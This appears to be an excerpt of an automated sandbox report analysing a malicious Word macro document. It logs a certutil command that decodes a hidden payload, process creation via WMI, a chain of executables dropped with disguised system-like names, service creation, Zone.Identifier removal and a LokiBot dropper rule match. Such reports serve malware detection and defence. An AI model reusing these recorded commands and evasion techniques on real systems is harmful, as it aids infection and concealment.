Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B1C70	9_2_003B1C70
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B78B0	9_2_003B78B0
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: 9_2_003B65E0	9_2_003B65E0
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B1C70	10_2_007B1C70
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B65E0	10_2_007B65E0
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: 10_2_007B78B0	10_2_007B78B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B1C70	11_2_002B1C70
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B78B0	11_2_002B78B0
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: 11_2_002B65E0	11_2_002B65E0
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E1C70	12_2_003E1C70
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E78B0	12_2_003E78B0
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: 12_2_003E65E0	12_2_003E65E0
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_00321C70	13_2_00321C70
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_003278B0	13_2_003278B0
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: 13_2_003265E0	13_2_003265E0
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_00621C70	14_2_00621C70
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_006265E0	14_2_006265E0
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: 14_2_006278B0	14_2_006278B0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_00481C70	15_2_00481C70
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_004865E0	15_2_004865E0
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Code function: 15_2_004878B0	15_2_004878B0

Source: sample1.doc	OLE, VBA macro line: Private Sub Document_Close()
Source: sample1.doc	OLE, VBA macro line: Form_Close
Source: sample1.doc	OLE, VBA macro line: Private Sub Form_Close()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Close	Name: Document_Close
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Form_Close	Name: Form_Close

Source: sample1.doc

OLE indicator, VBA macros: true

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Ksh1.pdf FB07F875DC45E6045735513E75A83C50C78154851BD23A645D43EA853E6800AC

Source: 00000005.00000002.2252845078.00000000002FD000.00000004.00000020.sdmp, type: MEMORY

Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: tmp_e473b4.exe, 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp, auditpolmsg.exe, 00000008.00000002.2262233717.000000000042A000.00000004.00020000.sdmp, wcnwiz.exe, 00000009.00000002.2265887565.000000000042A000.00000004.00020000.sdmp, SampleRes.exe, 0000000A.00000002.2270581839.000000000042A000.00000004.00020000.sdmp, NlsData0414.exe, 0000000B.00000002.2276043532.000000000042A000.00000004.00020000.sdmp	Binary or memory string: @*\AC:\aseb\Aseb.vbp
Source: tmp_e473b4.exe, auditpolmsg.exe, 00000008.00000000.2256345076.0000000000401000.00000020.00020000.sdmp, wcnwiz.exe, 00000009.00000002.2265851700.0000000000401000.00000020.00020000.sdmp, SampleRes.exe, 0000000A.00000002.2270507971.0000000000401000.00000020.00020000.sdmp, NlsData0414.exe, 0000000B.00000000.2270019597.0000000000401000.00000020.00020000.sdmp, ieframe.exe, 0000000D.00000002.2285194003.0000000000401000.00000020.00020000.sdmp	Binary or memory string: B*\AC:\aseb\Aseb.vbp

Source: classification engine

Classification label: mal100.troj.expl.evad.winDOC@20/19@0/1

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	7_2_003F8970
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	8_2_00368970
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	9_2_003B8970
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	10_2_007B8970
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	11_2_002B8970
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	12_2_003E8970
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	13_2_00328970
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Code function: OpenSCManagerW,_snwprintf,CreateServiceW,CloseServiceHandle,CloseServiceHandle,	14_2_00628970

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe

Code function: 15_2_00484C80 CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,Process32NextW,Process32FirstW,CloseHandle,CloseHandle,

15_2_00484C80

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Code function: 7_2_003F5040 ChangeServiceConfig2W,OpenServiceW,GetProcessHeap,HeapFree,EnumServicesStatusExW,GetTickCount,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,RtlAllocateHeap,GetProcessHeap,HeapFree,

7_2_003F5040

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$ample1.doc

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRBEFA.tmp

Jump to behavior

Source: sample1.doc

OLE indicator, Word Document stream: true

Source: sample1.doc

OLE document summary: title field not present or empty

Source: C:\Windows\System32\certutil.exe	Console Write: ................................I.n.p.u.t. .L.e.n.g.t.h. .=. .5.9.5.9.7.2...............#.......(d......................*.......q(.v............	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Console Write: ........................................(.P.............,.......x.......................#.......(d..............................................	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Console Write: ................................O.u.t.p.u.t. .L.e.n.g.t.h. .=. .4.4.6.9.7.6.............#.......(d......................,.......................	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Console Write: ........................................(.P.............,.......x.......................#.......(d..............................................	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Console Write: ..".....................................(.P.............,.......x.......................#........3................".....b.......................	Jump to behavior
Source: C:\Windows\System32\certutil.exe	Console Write: ........................................(.P.............,.......x.......................#........3..............(.................".............	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	WMI Queries: IWbemServices::ExecMethod - Win32_Process::create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	WMI Queries: IWbemServices::ExecMethod - Win32_Process::create

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\certutil.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: sample1.doc	Virustotal: Detection: 61%
Source: sample1.doc	Metadefender: Detection: 45%
Source: sample1.doc	ReversingLabs: Detection: 72%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Windows\System32\certutil.exe Certutil -decode C:\Users\Public\Ksh1.xls C:\Users\Public\Ksh1.pdf
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe C:\Users\user\AppData\Local\Temp/tmp_e473b4.exe
Source: unknown	Process created: C:\Windows\SysWOW64\srclient\auditpolmsg.exe C:\Windows\SysWOW64\srclient\auditpolmsg.exe
Source: unknown	Process created: C:\Windows\SysWOW64\mfc110\wcnwiz.exe C:\Windows\SysWOW64\mfc110\wcnwiz.exe
Source: unknown	Process created: C:\Windows\SysWOW64\capiprovider\SampleRes.exe C:\Windows\SysWOW64\capiprovider\SampleRes.exe
Source: unknown	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe
Source: unknown	Process created: C:\Windows\SysWOW64\KBDNO\mfc140.exe C:\Windows\SysWOW64\KBDNO\mfc140.exe
Source: unknown	Process created: C:\Windows\SysWOW64\advapi32\ieframe.exe C:\Windows\SysWOW64\advapi32\ieframe.exe
Source: unknown	Process created: C:\Windows\SysWOW64\nshipsec\cryptdll.exe C:\Windows\SysWOW64\nshipsec\cryptdll.exe
Source: unknown	Process created: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Process created: C:\Windows\SysWOW64\srclient\auditpolmsg.exe C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Process created: C:\Windows\SysWOW64\mfc110\wcnwiz.exe C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Process created: C:\Windows\SysWOW64\capiprovider\SampleRes.exe C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Process created: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Process created: C:\Windows\SysWOW64\KBDNO\mfc140.exe C:\Windows\SysWOW64\KBDNO\mfc140.exe	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Process created: C:\Windows\SysWOW64\advapi32\ieframe.exe C:\Windows\SysWOW64\advapi32\ieframe.exe	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Process created: C:\Windows\SysWOW64\nshipsec\cryptdll.exe C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Process created: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00404803 push ecx; iretd	7_2_004047EF
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00404021 push ecx; retf	7_2_00404037
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00408839 push esi; iretd	7_2_00408893
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040610E push ecx; retf	7_2_0040611B
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040A12E push ecx; iretd	7_2_0040A12F
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004031D1 push ecx; iretd	7_2_00403233
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040721C pushad ; iretd	7_2_00407223
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040321E push ecx; iretd	7_2_00403233
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00403236 push ecx; iretd	7_2_00403287
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00405AE2 push ecx; ret	7_2_00405B3F
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004062F6 push ebx; iretd	7_2_004062F7
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040AAF9 push esp; retf	7_2_0040AB17
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00403B4E push ecx; retf	7_2_00403B4F
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00404B02 push ecx; ret	7_2_00404B03
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00403B35 push ecx; retf	7_2_00403B47
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004053DD push ecx; ret	7_2_004053E7
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00408464 push ecx; ret	7_2_0040847B
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00407C76 push ebp; retf	7_2_00407C78
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040A404 push ecx; ret	7_2_0040A497
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004074C5 push ecx; iretd	7_2_004074CF
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004044D5 push ecx; iretd	7_2_004044F3
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_004054B6 push ecx; retf	7_2_004054B7
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040450F push ecx; retf	7_2_00404523
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00404539 push ecx; retf	7_2_00404523
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00406DA8 push eax; retf	7_2_00406FAF
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040A646 push edx; iretd	7_2_0040A647
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00403E52 push eax; ret	7_2_00403E54
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00405655 push ecx; retf	7_2_0040565F
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00407E7E push ecx; iretd	7_2_00407E7F
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_00409E0A push ecx; ret	7_2_00409E0B
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Code function: 7_2_0040869A push ecx; retf	7_2_0040869B

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	WMI Queries: IWbemServices::ExecMethod - Win32_Process::create
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	WMI Queries: IWbemServices::ExecMethod - Win32_Process::create

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	Executable created and started: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Executable created and started: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Executable created and started: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	Executable created and started: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	Executable created and started: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	Executable created and started: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	Executable created and started: C:\Windows\SysWOW64\advapi32\ieframe.exe	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	Executable created and started: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe	Jump to behavior

Source: C:\Windows\System32\certutil.exe

File created: C:\Users\Public\Ksh1.pdf

Jump to dropped file

Source: C:\Windows\System32\certutil.exe

File created: C:\Users\Public\Ksh1.pdf

Jump to dropped file

Source: C:\Windows\System32\certutil.exe

File created: C:\Users\Public\Ksh1.pdf

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\System32\certutil.exe

File created: C:\Users\Public\Ksh1.pdf

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown

Process created: cmd line: ksh1.pdf

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tmp_e473b4.exe	File opened: C:\Windows\SysWOW64\srclient\auditpolmsg.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\srclient\auditpolmsg.exe	File opened: C:\Windows\SysWOW64\mfc110\wcnwiz.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\mfc110\wcnwiz.exe	File opened: C:\Windows\SysWOW64\capiprovider\SampleRes.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\capiprovider\SampleRes.exe	File opened: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv\NlsData0414.exe	File opened: C:\Windows\SysWOW64\KBDNO\mfc140.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\KBDNO\mfc140.exe	File opened: C:\Windows\SysWOW64\advapi32\ieframe.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\advapi32\ieframe.exe	File opened: C:\Windows\SysWOW64\nshipsec\cryptdll.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\nshipsec\cryptdll.exe	File opened: C:\Windows\SysWOW64\DShowRdpFilter\wlanui.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
